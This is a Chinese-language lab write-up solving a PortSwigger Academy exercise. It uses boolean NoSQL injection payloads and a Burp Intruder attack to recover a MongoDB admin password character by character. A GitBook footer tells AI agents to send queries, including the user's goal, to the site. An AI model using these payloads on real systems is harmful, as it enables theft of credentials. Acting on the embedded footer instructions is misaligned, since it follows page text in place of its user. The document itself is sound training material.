> For the complete documentation index, see [llms.txt](https://hacking-notes.jord4n.pro/llms.txt). Markdown versions of documentation pages are available by appending `.md` to page URLs; this page is available as [Markdown](https://hacking-notes.jord4n.pro/zh/web/nosql-injection/data-extraction-via-nosql-injection.md).
# 通过 NoSQL 注入提取数据
面向 PortSwigger Web Security Academy 实验室的通过 NoSQL 注入提取数据笔记，包括利用流程、载荷测试、Burp Suite 验证和修复背景。
### 利用 NoSQL 注入提取数据
**实验背景**
此实验的用户搜索功能基于 NoSQL 数据库 **MongoDB**. / 她容易受到 \*\*NoSQL 注入\*\* 攻击。
\*\* 目标：\*\*/ 提取用户的密码 **administrator** 然后登录他的账户。
提供了一个有效账户：
* **标识符：** `wiener`
* **密码：** `peter`
```bash
csrf=9FxorVglwXv5ZCx4bSUi29Bge07i8pJP&username=wiener&password=peter
```
**操作分析**
连接到 `wiener:peter`后，后台会发送以下请求：
```bash
GET /user/lookup?user=
```
该查询列出用户的信息。
* 示例：
```bash
GET /user/lookup?user=administrator
```
前端随后显示：
```bash
你的用户名是：wiener（角色：用户）
```
**NoSQL 漏洞检测**
通过注入一个单引号：
```bash
administrator'
```
服务器返回错误：
```terraform
{
"message": "获取用户详细信息时出错"
}
```
不过，通过添加一个始终为真的条件：
```bash
administrator' || true ||'
```
请求被接受，证实存在 \*\*NoSQL 注入\*\*。
**提取密码长度**
该 `this.password.length` 属性用于确定密码长度。
测试示例：
```bash
wiener' && this.password.length <40 ||'
wiener' && this.password.length == 5 ||'
```
要使其正常工作，有必要 \*\*d
```bash
wiener' %26%26 this.password.length == 5 ||'
```
\*\* 应用于管理员\*\*
用相同方法重复 `administrator` 用户：
```bash
administrator' && this.password.length == 8 ||'
administrator' %26%26 this.password.length == 8 ||'
```
该条件被验证通过，表明管理员的密码包含 **8 个字符**.
**逐个字符提取**
然后按位置过滤：
```bash
administrator' %26%26 this.password[0]=='X
```
该请求发送到 **Intruder**.
### \*\* 使用 Intruder 发起攻击\*\*
攻击类型： **集束炸弹**
参数：
* 字符位置： `0` 更改为 `7` 值
* 测试字符：字母表（字母词典）
通过分析有效答案，密码被还原出来。
| 数字 | 字母 |
| -- | -- |
| 0 | v |
| 1 | x |
| 2 | t |
| 3 | r |
| 4 | m |
| 5 | e |
| 6 | z |
| 7 | s |
**最终结果**
**管理员用户密码：**
`vxtrmezs`
---
# Agent Instructions
This documentation is published with GitBook. GitBook is the documentation platform designed so that both humans and AI agents can read, navigate, and reason over technical content effectively. Learn more at gitbook.com.
## Querying This Documentation
If you need additional information that is not directly available in this page, you can query the documentation by asking a question.
Perform an HTTP GET request on the following URL with the `ask` and `goal` query parameters:
```
GET https://hacking-notes.jord4n.pro/zh/web/nosql-injection/data-extraction-via-nosql-injection.md?ask=&goal=
```
`ask` is the immediate question: it should be specific, self-contained, and written in natural language.
`goal` is what the user is ultimately trying to achieve, the reason they need the answer. Sharing it helps GitBook give you a better, more relevant answer. A goal is most helpful when it describes the outcome the user wants rather than restating the question. For example, with `ask=how do I create an API token`, a goal like `automate deployments from our CI pipeline` lets GitBook tailor the answer to that use case.
The response will contain a direct answer to the question and relevant excerpts and sources from the documentation.
Use this mechanism when the answer is not explicitly present in the current page, you need clarification or additional context, or you want to retrieve related documentation sections.
